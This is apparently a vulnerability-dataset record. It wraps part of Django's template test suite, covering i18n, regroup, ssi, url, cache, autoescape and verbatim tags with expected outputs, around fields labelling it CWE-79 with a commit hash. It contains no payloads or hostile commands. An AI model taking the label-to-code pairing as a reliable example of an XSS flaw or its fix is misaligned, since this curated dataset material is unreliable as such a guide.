            'i18n28_2': ('{% load i18n %}{% get_language_info for ""de"" as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {}, 'de: German/Deutsch bidi=False'),
            'i18n29': ('{% load i18n %}{% get_language_info for LANGUAGE_CODE as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {'LANGUAGE_CODE': 'fi'}, 'fi: Finnish/suomi bidi=False'),
            'i18n30': ('{% load i18n %}{% get_language_info_list for langcodes as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': ['it', 'no']}, 'it: Italian/italiano bidi=False; no: Norwegian/norsk bidi=False; '),
            'i18n31': ('{% load i18n %}{% get_language_info_list for langcodes as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': (('sl', 'Slovenian'), ('fa', 'Persian'))}, 'sl: Slovenian/Sloven\u0161\u010dina bidi=False; fa: Persian/\u0641\u0627\u0631\u0633\u06cc bidi=True; '),
            'i18n32': ('{% load i18n %}{{ ""hu""|language_name }} {{ ""hu""|language_name_local }} {{ ""hu""|language_bidi }}', {}, 'Hungarian Magyar False'),
            'i18n33': ('{% load i18n %}{{ langcode|language_name }} {{ langcode|language_name_local }} {{ langcode|language_bidi }}', {'langcode': 'nl'}, 'Dutch Nederlands False'),

            # blocktrans handling of variables which are not in the context.
            # this should work as if blocktrans was not there (bug #19915)
            'i18n34': ('{% load i18n %}{% blocktrans %}{{ missing }}{% endblocktrans %}', {}, ('', 'INVALID')),
            'i18n34_2': (""{% load i18n %}{% blocktrans with a='α' %}{{ missing }}{% endblocktrans %}"", {}, ('', 'INVALID')),
            'i18n34_3': ('{% load i18n %}{% blocktrans with a=anton %}{{ missing }}{% endblocktrans %}', {'anton': 'α'}, ('', 'INVALID')),

            # trans tag with as var
            'i18n35': ('{% load i18n %}{% trans ""Page not found"" as page_not_found %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Seite nicht gefunden""),
            'i18n36': ('{% load i18n %}{% trans ""Page not found"" noop as page_not_found %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),
            'i18n36': ('{% load i18n %}{% trans ""Page not found"" as page_not_found noop %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),
            'i18n37': ('{% load i18n %}{% trans ""Page not found"" as page_not_found %}{% blocktrans %}Error: {{ page_not_found }}{% endblocktrans %}', {'LANGUAGE_CODE': 'de'}, ""Error: Seite nicht gefunden""),

            # Test whitespace in filter arguments
            'i18n38': ('{% load i18n custom %}{% get_language_info for ""de""|noop:""x y"" as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {}, 'de: German/Deutsch bidi=False'),
            'i18n38_2': ('{% load i18n custom %}{% get_language_info_list for langcodes|noop:""x y"" as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': ['it', 'no']}, 'it: Italian/italiano bidi=False; no: Norwegian/norsk bidi=False; '),

            ### HANDLING OF TEMPLATE_STRING_IF_INVALID ###################################

            'invalidstr01': ('{{ var|default:""Foo"" }}', {}, ('Foo','INVALID')),
            'invalidstr02': ('{{ var|default_if_none:""Foo"" }}', {}, ('','INVALID')),
            'invalidstr03': ('{% for v in var %}({{ v }}){% endfor %}', {}, ''),
            'invalidstr04': ('{% if var %}Yes{% else %}No{% endif %}', {}, 'No'),
            'invalidstr04_2': ('{% if var|default:""Foo"" %}Yes{% else %}No{% endif %}', {}, 'Yes'),
            'invalidstr05': ('{{ var }}', {}, ('', ('INVALID %s', 'var'))),
            'invalidstr06': ('{{ var.prop }}', {'var': {}}, ('', ('INVALID %s', 'var.prop'))),

            ### MULTILINE #############################################################

            'multiline01': (""""""
                            Hello,
                            boys.
                            How
                            are
                            you
                            gentlemen.
                            """""",
                            {},
                            """"""
                            Hello,
                            boys.
                            How
                            are
                            you
                            gentlemen.
                            """"""),

            ### REGROUP TAG ###########################################################
            'regroup01': ('{% regroup data by bar as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [ {'foo':'c', 'bar':1},
                                     {'foo':'d', 'bar':1},
                                     {'foo':'a', 'bar':2},
                                     {'foo':'b', 'bar':2},
                                     {'foo':'x', 'bar':3}  ]},
                          '1:cd,2:ab,3:x,'),

            # Test for silent failure when target variable isn't found
            'regroup02': ('{% regroup data by bar as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {}, ''),

            # Regression tests for #17675
            # The date template filter has expects_localtime = True
            'regroup03': ('{% regroup data by at|date:""m"" as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.at|date:""d"" }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [{'at': date(2012, 2, 14)},
                                    {'at': date(2012, 2, 28)},
                                    {'at': date(2012, 7, 4)}]},
                          '02:1428,07:04,'),
            # The join template filter has needs_autoescape = True
            'regroup04': ('{% regroup data by bar|join:"""" as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo|first }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [{'foo': 'x', 'bar': ['ab', 'c']},
                                    {'foo': 'y', 'bar': ['a', 'bc']},
                                    {'foo': 'z', 'bar': ['a', 'd']}]},
                          'abc:xy,ad:z,'),

            # Test syntax
            'regroup05': ('{% regroup data by bar as %}', {},
                           template.TemplateSyntaxError),
            'regroup06': ('{% regroup data by bar thisaintright grouped %}', {},
                           template.TemplateSyntaxError),
            'regroup07': ('{% regroup data thisaintright bar as grouped %}', {},
                           template.TemplateSyntaxError),
            'regroup08': ('{% regroup data by bar as grouped toomanyargs %}', {},
                           template.TemplateSyntaxError),

            ### SSI TAG ########################################################

            # Test normal behavior
            'ssi01': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'templates', 'ssi_include.html'), {}, 'This is for testing an ssi include. {{ test }}\n'),
            'ssi02': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'not_here'), {}, ''),
            'ssi03': (""{%% ssi '%s' %%}"" % os.path.join(basedir, 'not_here'), {}, ''),

            # Test passing as a variable
            'ssi04': ('{% load ssi from future %}{% ssi ssi_file %}', {'ssi_file': os.path.join(basedir, 'templates', 'ssi_include.html')}, 'This is for testing an ssi include. {{ test }}\n'),
            'ssi05': ('{% load ssi from future %}{% ssi ssi_file %}', {'ssi_file': 'no_file'}, ''),

            # Test parsed output
            'ssi06': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'templates', 'ssi_include.html'), {'test': 'Look ma! It parsed!'}, 'This is for testing an ssi include. Look ma! It parsed!\n'),
            'ssi07': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'not_here'), {'test': 'Look ma! It parsed!'}, ''),

            # Test space in file name
            'ssi08': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'templates', 'ssi include with spaces.html'), {}, 'This is for testing an ssi include with spaces in its name. {{ test }}\n'),
            'ssi09': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'templates', 'ssi include with spaces.html'), {'test': 'Look ma! It parsed!'}, 'This is for testing an ssi include with spaces in its name. Look ma! It parsed!\n'),

            ### TEMPLATETAG TAG #######################################################
            'templatetag01': ('{% templatetag openblock %}', {}, '{%'),
            'templatetag02': ('{% templatetag closeblock %}', {}, '%}'),
            'templatetag03': ('{% templatetag openvariable %}', {}, '{{'),
            'templatetag04': ('{% templatetag closevariable %}', {}, '}}'),
            'templatetag05': ('{% templatetag %}', {}, template.TemplateSyntaxError),
            'templatetag06': ('{% templatetag foo %}', {}, template.TemplateSyntaxError),
            'templatetag07': ('{% templatetag openbrace %}', {}, '{'),
            'templatetag08': ('{% templatetag closebrace %}', {}, '}'),
            'templatetag09': ('{% templatetag openbrace %}{% templatetag openbrace %}', {}, '{{'),
            'templatetag10': ('{% templatetag closebrace %}{% templatetag closebrace %}', {}, '}}'),
            'templatetag11': ('{% templatetag opencomment %}', {}, '{#'),
            'templatetag12': ('{% templatetag closecomment %}', {}, '#}'),

            # Simple tags with customized names
            'simpletag-renamed01': ('{% load custom %}{% minusone 7 %}', {}, '6'),
            'simpletag-renamed02': ('{% load custom %}{% minustwo 7 %}', {}, '5'),
            'simpletag-renamed03': ('{% load custom %}{% minustwo_overridden_name 7 %}', {}, template.TemplateSyntaxError),

            ### WIDTHRATIO TAG ########################################################
            'widthratio01': ('{% widthratio a b 0 %}', {'a':50,'b':100}, '0'),
            'widthratio02': ('{% widthratio a b 100 %}', {'a':0,'b':0}, '0'),
            'widthratio03': ('{% widthratio a b 100 %}', {'a':0,'b':100}, '0'),
            'widthratio04': ('{% widthratio a b 100 %}', {'a':50,'b':100}, '50'),
            'widthratio05': ('{% widthratio a b 100 %}', {'a':100,'b':100}, '100'),

            # 62.5 should round to 63 on Python 2 and 62 on Python 3
            # See http://docs.python.org/py3k/whatsnew/3.0.html
            'widthratio06': ('{% widthratio a b 100 %}', {'a':50,'b':80}, '62' if six.PY3 else '63'),

            # 71.4 should round to 71
            'widthratio07': ('{% widthratio a b 100 %}', {'a':50,'b':70}, '71'),

            # Raise exception if we don't have 3 args, last one an integer
            'widthratio08': ('{% widthratio %}', {}, template.TemplateSyntaxError),
            'widthratio09': ('{% widthratio a b %}', {'a':50,'b':100}, template.TemplateSyntaxError),
            'widthratio10': ('{% widthratio a b 100.0 %}', {'a':50,'b':100}, '50'),

            # #10043: widthratio should allow max_width to be a variable
            'widthratio11': ('{% widthratio a b c %}', {'a':50,'b':100, 'c': 100}, '50'),

            # #18739: widthratio should handle None args consistently with non-numerics
            'widthratio12a': ('{% widthratio a b c %}', {'a':'a','b':100,'c':100}, ''),
            'widthratio12b': ('{% widthratio a b c %}', {'a':None,'b':100,'c':100}, ''),
            'widthratio13a': ('{% widthratio a b c %}', {'a':0,'b':'b','c':100}, ''),
            'widthratio13b': ('{% widthratio a b c %}', {'a':0,'b':None,'c':100}, ''),
            'widthratio14a': ('{% widthratio a b c %}', {'a':0,'b':100,'c':'c'}, template.TemplateSyntaxError),
            'widthratio14b': ('{% widthratio a b c %}', {'a':0,'b':100,'c':None}, template.TemplateSyntaxError),

            # Test whitespace in filter argument
            'widthratio15': ('{% load custom %}{% widthratio a|noop:""x y"" b 0 %}', {'a':50,'b':100}, '0'),

            ### WITH TAG ########################################################
            'with01': ('{% with key=dict.key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, '50'),
            'legacywith01': ('{% with dict.key as key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, '50'),

            'with02': ('{{ key }}{% with key=dict.key %}{{ key }}-{{ dict.key }}-{{ key }}{% endwith %}{{ key }}', {'dict': {'key': 50}}, ('50-50-50', 'INVALID50-50-50INVALID')),
            'legacywith02': ('{{ key }}{% with dict.key as key %}{{ key }}-{{ dict.key }}-{{ key }}{% endwith %}{{ key }}', {'dict': {'key': 50}}, ('50-50-50', 'INVALID50-50-50INVALID')),

            'with03': ('{% with a=alpha b=beta %}{{ a }}{{ b }}{% endwith %}', {'alpha': 'A', 'beta': 'B'}, 'AB'),

            'with-error01': ('{% with dict.key xx key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, template.TemplateSyntaxError),
            'with-error02': ('{% with dict.key as %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, template.TemplateSyntaxError),

            ### NOW TAG ########################################################
            # Simple case
            'now01': ('{% now ""j n Y"" %}', {}, ""%d %d %d"" % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            # Check parsing of locale strings
            'now02': ('{% now ""DATE_FORMAT"" %}', {},  date_format(datetime.now())),
            # Also accept simple quotes - #15092
            'now03': (""{% now 'j n Y' %}"", {}, ""%d %d %d"" % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            'now04': (""{% now 'DATE_FORMAT' %}"", {},  date_format(datetime.now())),
            'now05': ('''{% now 'j ""n"" Y'%}''', {}, '''%d ""%d"" %d''' % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            'now06': ('''{% now ""j 'n' Y""%}''', {}, '''%d '%d' %d''' % (
                datetime.now().day, datetime.now().month, datetime.now().year)),

            ### URL TAG ########################################################
            # Successes
            'url01': ('{% url ""template_tests.views.client"" client.id %}', {'client': {'id': 1}}, '/url_tag/client/1/'),
            'url02': ('{% url ""template_tests.views.client_action"" id=client.id action=""update"" %}', {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url02a': ('{% url ""template_tests.views.client_action"" client.id ""update"" %}', {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url02b': (""{% url 'template_tests.views.client_action' id=client.id action='update' %}"", {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url02c': (""{% url 'template_tests.views.client_action' client.id 'update' %}"", {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url03': ('{% url ""template_tests.views.index"" %}', {}, '/url_tag/'),
            'url04': ('{% url ""named.client"" client.id %}', {'client': {'id': 1}}, '/url_tag/named-client/1/'),
            'url05': ('{% url ""метка_оператора"" v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url06': ('{% url ""метка_оператора_2"" tag=v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url07': ('{% url ""template_tests.views.client2"" tag=v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url08': ('{% url ""метка_оператора"" v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url09': ('{% url ""метка_оператора_2"" tag=v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url10': ('{% url ""template_tests.views.client_action"" id=client.id action=""two words"" %}', {'client': {'id': 1}}, '/url_tag/client/1/two%20words/'),
            'url11': ('{% url ""template_tests.views.client_action"" id=client.id action=""=="" %}', {'client': {'id': 1}}, '/url_tag/client/1/%3D%3D/'),
            'url12': ('{% url ""template_tests.views.client_action"" id=client.id action="","" %}', {'client': {'id': 1}}, '/url_tag/client/1/%2C/'),
            'url13': ('{% url ""template_tests.views.client_action"" id=client.id action=arg|join:""-"" %}', {'client': {'id': 1}, 'arg':['a','b']}, '/url_tag/client/1/a-b/'),
            'url14': ('{% url ""template_tests.views.client_action"" client.id arg|join:""-"" %}', {'client': {'id': 1}, 'arg':['a','b']}, '/url_tag/client/1/a-b/'),
            'url15': ('{% url ""template_tests.views.client_action"" 12 ""test"" %}', {}, '/url_tag/client/12/test/'),
            'url18': ('{% url ""template_tests.views.client"" ""1,2"" %}', {}, '/url_tag/client/1%2C2/'),

            'url19': ('{% url named_url client.id %}', {'named_url': 'template_tests.views.client', 'client': {'id': 1}}, '/url_tag/client/1/'),
            'url20': ('{% url url_name_in_var client.id %}', {'url_name_in_var': 'named.client', 'client': {'id': 1}}, '/url_tag/named-client/1/'),

            # Failures
            'url-fail01': ('{% url %}', {}, template.TemplateSyntaxError),
            'url-fail02': ('{% url ""no_such_view"" %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail03': ('{% url ""template_tests.views.client"" %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail04': ('{% url ""view"" id, %}', {}, template.TemplateSyntaxError),
            'url-fail05': ('{% url ""view"" id= %}', {}, template.TemplateSyntaxError),
            'url-fail06': ('{% url ""view"" a.id=id %}', {}, template.TemplateSyntaxError),
            'url-fail07': ('{% url ""view"" a.id!id %}', {}, template.TemplateSyntaxError),
            'url-fail08': ('{% url ""view"" id=""unterminatedstring %}', {}, template.TemplateSyntaxError),
            'url-fail09': ('{% url ""view"" id="", %}', {}, template.TemplateSyntaxError),

            'url-fail11': ('{% url named_url %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail12': ('{% url named_url %}', {'named_url': 'no_such_view'}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail13': ('{% url named_url %}', {'named_url': 'template_tests.views.client'}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail14': ('{% url named_url id, %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail15': ('{% url named_url id= %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail16': ('{% url named_url a.id=id %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail17': ('{% url named_url a.id!id %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail18': ('{% url named_url id=""unterminatedstring %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail19': ('{% url named_url id="", %}', {'named_url': 'view'}, template.TemplateSyntaxError),

            # {% url ... as var %}
            'url-asvar01': ('{% url ""template_tests.views.index"" as url %}', {}, ''),
            'url-asvar02': ('{% url ""template_tests.views.index"" as url %}{{ url }}', {}, '/url_tag/'),
            'url-asvar03': ('{% url ""no_such_view"" as url %}{{ url }}', {}, ''),

            ### CACHE TAG ######################################################
            'cache03': ('{% load cache %}{% cache 2 test %}cache03{% endcache %}', {}, 'cache03'),
            'cache04': ('{% load cache %}{% cache 2 test %}cache04{% endcache %}', {}, 'cache03'),
            'cache05': ('{% load cache %}{% cache 2 test foo %}cache05{% endcache %}', {'foo': 1}, 'cache05'),
            'cache06': ('{% load cache %}{% cache 2 test foo %}cache06{% endcache %}', {'foo': 2}, 'cache06'),
            'cache07': ('{% load cache %}{% cache 2 test foo %}cache07{% endcache %}', {'foo': 1}, 'cache05'),

            # Allow first argument to be a variable.
            'cache08': ('{% load cache %}{% cache time test foo %}cache08{% endcache %}', {'foo': 2, 'time': 2}, 'cache06'),

            # Raise exception if we don't have at least 2 args, first one integer.
            'cache11': ('{% load cache %}{% cache %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache12': ('{% load cache %}{% cache 1 %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache13': ('{% load cache %}{% cache foo bar %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache14': ('{% load cache %}{% cache foo bar %}{% endcache %}', {'foo': 'fail'}, template.TemplateSyntaxError),
            'cache15': ('{% load cache %}{% cache foo bar %}{% endcache %}', {'foo': []}, template.TemplateSyntaxError),

            # Regression test for #7460.
            'cache16': ('{% load cache %}{% cache 1 foo bar %}{% endcache %}', {'foo': 'foo', 'bar': 'with spaces'}, ''),

            # Regression test for #11270.
            'cache17': ('{% load cache %}{% cache 10 long_cache_key poem %}Some Content{% endcache %}', {'poem': 'Oh freddled gruntbuggly/Thy micturations are to me/As plurdled gabbleblotchits/On a lurgid bee/That mordiously hath bitled out/Its earted jurtles/Into a rancid festering/Or else I shall rend thee in the gobberwarts with my blurglecruncheon/See if I dont.'}, 'Some Content'),

            # Test whitespace in filter arguments
            'cache18': ('{% load cache custom %}{% cache 2|noop:""x y"" cache18 %}cache18{% endcache %}', {}, 'cache18'),


            ### AUTOESCAPE TAG ##############################################
            'autoescape-tag01': (""{% autoescape off %}hello{% endautoescape %}"", {}, ""hello""),
            'autoescape-tag02': (""{% autoescape off %}{{ first }}{% endautoescape %}"", {""first"": ""<b>hello</b>""}, ""<b>hello</b>""),
            'autoescape-tag03': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": ""<b>hello</b>""}, ""&lt;b&gt;hello&lt;/b&gt;""),

            # Autoescape disabling and enabling nest in a predictable way.
            'autoescape-tag04': (""{% autoescape off %}{{ first }} {% autoescape  on%}{{ first }}{% endautoescape %}{% endautoescape %}"", {""first"": ""<a>""}, ""<a> &lt;a&gt;""),

            'autoescape-tag05': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": ""<b>first</b>""}, ""&lt;b&gt;first&lt;/b&gt;""),

            # Strings (ASCII or unicode) already marked as ""safe"" are not
            # auto-escaped
            'autoescape-tag06': (""{{ first }}"", {""first"": mark_safe(""<b>first</b>"")}, ""<b>first</b>""),
            'autoescape-tag07': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": mark_safe(""<b>Apple</b>"")}, ""<b>Apple</b>""),

            # Literal string arguments to filters, if used in the result, are
            # safe.
            'autoescape-tag08': (r'{% autoescape on %}{{ var|default_if_none:"" endquote\"" hah"" }}{% endautoescape %}', {""var"": None}, ' endquote"" hah'),

            # Objects which return safe strings as their __unicode__ method
            # won't get double-escaped.
            'autoescape-tag09': (r'{{ unsafe }}', {'unsafe': filters.UnsafeClass()}, 'you &amp; me'),
            'autoescape-tag10': (r'{{ safe }}', {'safe': filters.SafeClass()}, 'you &gt; me'),

            # The ""safe"" and ""escape"" filters cannot work due to internal
            # implementation details (fortunately, the (no)autoescape block
            # tags can be used in those cases)
            'autoescape-filtertag01': (""{{ first }}{% filter safe %}{{ first }} x<y{% endfilter %}"", {""first"": ""<a>""}, template.TemplateSyntaxError),

            # ifqeual compares unescaped vales.
            'autoescape-ifequal01': ('{% ifequal var ""this & that"" %}yes{% endifequal %}', { ""var"": ""this & that"" }, ""yes""),

            # Arguments to filters are 'safe' and manipulate their input unescaped.
            'autoescape-filters01': ('{{ var|cut:""&"" }}', { ""var"": ""this & that"" }, ""this  that"" ),
            'autoescape-filters02': ('{{ var|join:"" & \"" }}', { ""var"": (""Tom"", ""Dick"", ""Harry"") }, ""Tom & Dick & Harry""),

            # Literal strings are safe.
            'autoescape-literals01': ('{{ ""this & that"" }}',{}, ""this & that""),

            # Iterating over strings outputs safe characters.
            'autoescape-stringiterations01': ('{% for l in var %}{{ l }},{% endfor %}', {'var': 'K&R'}, ""K,&amp;,R,""),

            # Escape requirement survives lookup.
            'autoescape-lookup01': ('{{ var.key }}', { ""var"": {""key"": ""this & that"" }}, ""this &amp; that""),

            # Static template tags
            'static-prefixtag01': ('{% load static %}{% get_static_prefix %}', {}, settings.STATIC_URL),
            'static-prefixtag02': ('{% load static %}{% get_static_prefix as static_prefix %}{{ static_prefix }}', {}, settings.STATIC_URL),
            'static-prefixtag03': ('{% load static %}{% get_media_prefix %}', {}, settings.MEDIA_URL),
            'static-prefixtag04': ('{% load static %}{% get_media_prefix as media_prefix %}{{ media_prefix }}', {}, settings.MEDIA_URL),
            'static-statictag01': ('{% load static %}{% static ""admin/base.css"" %}', {}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag02': ('{% load static %}{% static base_css %}', {'base_css': 'admin/base.css'}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag03': ('{% load static %}{% static ""admin/base.css"" as foo %}{{ foo }}', {}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag04': ('{% load static %}{% static base_css as foo %}{{ foo }}', {'base_css': 'admin/base.css'}, urljoin(settings.STATIC_URL, 'admin/base.css')),

            # Verbatim template tag outputs contents without rendering.
            'verbatim-tag01': ('{% verbatim %}{{bare   }}{% endverbatim %}', {}, '{{bare   }}'),
            'verbatim-tag02': ('{% verbatim %}{% endif %}{% endverbatim %}', {}, '{% endif %}'),
            'verbatim-tag03': (""{% verbatim %}It's the {% verbatim %} tag{% endverbatim %}"", {}, ""It's the {% verbatim %} tag""),
            'verbatim-tag04': ('{% verbatim %}{% verbatim %}{% endverbatim %}{% endverbatim %}', {}, template.TemplateSyntaxError),
            'verbatim-tag05': ('{% verbatim %}{% endverbatim %}{% verbatim %}{% endverbatim %}', {}, ''),
            'verbatim-tag06': (""{% verbatim special %}Don't {% endverbatim %} just yet{% endverbatim special %}"", {}, ""Don't {% endverbatim %} just yet""),
        }

        if numpy:
            tests.update({
                # Numpy's array-index syntax allows a template to access a certain item of a subscriptable object.
                'numpy-array-index01': (""{{ var.1 }}"", {""var"": numpy.array([""first item"", ""second item""])}, ""second item""),

                # Fail silently when the array index is out of range.
                'numpy-array-index02': (""{{ var.5 }}"", {""var"": numpy.array([""first item"", ""second item""])}, ("""", ""INVALID"")),
            })


        return tests",CWE-79,django/django,31b5275235bac150a54059db0288a19b9e0516c7,"def get_template_tests(self):
        # SYNTAX --
        # 'template_name': ('template contents', 'context dict', 'expected string output' or Exception class)
        basedir = os.path.dirname(os.path.abspath(upath(__file__)))
        tests = {
            ### BASIC SYNTAX ################################################

            # Plain text should go through the template parser untouched
            'basic-syntax01': (""something cool"", {}, ""something cool""),

            # Variables should be replaced with their value in the current
            # context
            'basic-syntax02': (""{{ headline }}"", {'headline':'Success'}, ""Success""),

            # More than one replacement variable is allowed in a template
            'basic-syntax03': (""{{ first }} --- {{ second }}"", {""first"" : 1, ""second"" : 2}, ""1 --- 2""),

            # Fail silently when a variable is not found in the current context
            'basic-syntax04': (""as{{ missing }}df"", {}, (""asdf"",""asINVALIDdf"")),

            # A variable may not contain more than one word
            'basic-syntax06': (""{{ multi word variable }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for empty variable tags
            'basic-syntax07': (""{{ }}"",        {}, template.TemplateSyntaxError),
            'basic-syntax08': (""{{        }}"", {}, template.TemplateSyntaxError),

            # Attribute syntax allows a template to call an object's attribute
            'basic-syntax09': (""{{ var.method }}"", {""var"": SomeClass()}, ""SomeClass.method""),

            # Multiple levels of attribute access are allowed
            'basic-syntax10': (""{{ var.otherclass.method }}"", {""var"": SomeClass()}, ""OtherClass.method""),

            # Fail silently when a variable's attribute isn't found
            'basic-syntax11': (""{{ var.blech }}"", {""var"": SomeClass()}, ("""",""INVALID"")),

            # Raise TemplateSyntaxError when trying to access a variable beginning with an underscore
            'basic-syntax12': (""{{ var.__dict__ }}"", {""var"": SomeClass()}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError when trying to access a variable containing an illegal character
            'basic-syntax13': (""{{ va>r }}"", {}, template.TemplateSyntaxError),
            'basic-syntax14': (""{{ (var.r) }}"", {}, template.TemplateSyntaxError),
            'basic-syntax15': (""{{ sp%am }}"", {}, template.TemplateSyntaxError),
            'basic-syntax16': (""{{ eggs! }}"", {}, template.TemplateSyntaxError),
            'basic-syntax17': (""{{ moo? }}"", {}, template.TemplateSyntaxError),

            # Attribute syntax allows a template to call a dictionary key's value
            'basic-syntax18': (""{{ foo.bar }}"", {""foo"" : {""bar"" : ""baz""}}, ""baz""),

            # Fail silently when a variable's dictionary key isn't found
            'basic-syntax19': (""{{ foo.spam }}"", {""foo"" : {""bar"" : ""baz""}}, ("""",""INVALID"")),

            # Fail silently when accessing a non-simple method
            'basic-syntax20': (""{{ var.method2 }}"", {""var"": SomeClass()}, ("""",""INVALID"")),

            # Don't get confused when parsing something that is almost, but not
            # quite, a template tag.
            'basic-syntax21': (""a {{ moo %} b"", {}, ""a {{ moo %} b""),
            'basic-syntax22': (""{{ moo #}"", {}, ""{{ moo #}""),

            # Will try to treat ""moo #} {{ cow"" as the variable. Not ideal, but
            # costly to work around, so this triggers an error.
            'basic-syntax23': (""{{ moo #} {{ cow }}"", {""cow"": ""cow""}, template.TemplateSyntaxError),

            # Embedded newlines make it not-a-tag.
            'basic-syntax24': (""{{ moo\n }}"", {}, ""{{ moo\n }}""),

            # Literal strings are permitted inside variables, mostly for i18n
            # purposes.
            'basic-syntax25': ('{{ ""fred"" }}', {}, ""fred""),
            'basic-syntax26': (r'{{ ""\""fred\"""" }}', {}, ""\""fred\""""),
            'basic-syntax27': (r'{{ _(""\""fred\"""") }}', {}, ""\""fred\""""),

            # regression test for ticket #12554
            # make sure a silent_variable_failure Exception is supressed
            # on dictionary and attribute lookup
            'basic-syntax28': (""{{ a.b }}"", {'a': SilentGetItemClass()}, ('', 'INVALID')),
            'basic-syntax29': (""{{ a.b }}"", {'a': SilentAttrClass()}, ('', 'INVALID')),

            # Something that starts like a number but has an extra lookup works as a lookup.
            'basic-syntax30': (""{{ 1.2.3 }}"", {""1"": {""2"": {""3"": ""d""}}}, ""d""),
            'basic-syntax31': (""{{ 1.2.3 }}"", {""1"": {""2"": (""a"", ""b"", ""c"", ""d"")}}, ""d""),
            'basic-syntax32': (""{{ 1.2.3 }}"", {""1"": ((""x"", ""x"", ""x"", ""x""), (""y"", ""y"", ""y"", ""y""), (""a"", ""b"", ""c"", ""d""))}, ""d""),
            'basic-syntax33': (""{{ 1.2.3 }}"", {""1"": (""xxxx"", ""yyyy"", ""abcd"")}, ""d""),
            'basic-syntax34': (""{{ 1.2.3 }}"", {""1"": ({""x"": ""x""}, {""y"": ""y""}, {""z"": ""z"", ""3"": ""d""})}, ""d""),

            # Numbers are numbers even if their digits are in the context.
            'basic-syntax35': (""{{ 1 }}"", {""1"": ""abc""}, ""1""),
            'basic-syntax36': (""{{ 1.2 }}"", {""1"": ""abc""}, ""1.2""),

            # Call methods in the top level of the context
            'basic-syntax37': ('{{ callable }}', {""callable"": lambda: ""foo bar""}, ""foo bar""),

            # Call methods returned from dictionary lookups
            'basic-syntax38': ('{{ var.callable }}', {""var"": {""callable"": lambda: ""foo bar""}}, ""foo bar""),

            'builtins01': ('{{ True }}', {}, ""True""),
            'builtins02': ('{{ False }}', {}, ""False""),
            'builtins03': ('{{ None }}', {}, ""None""),

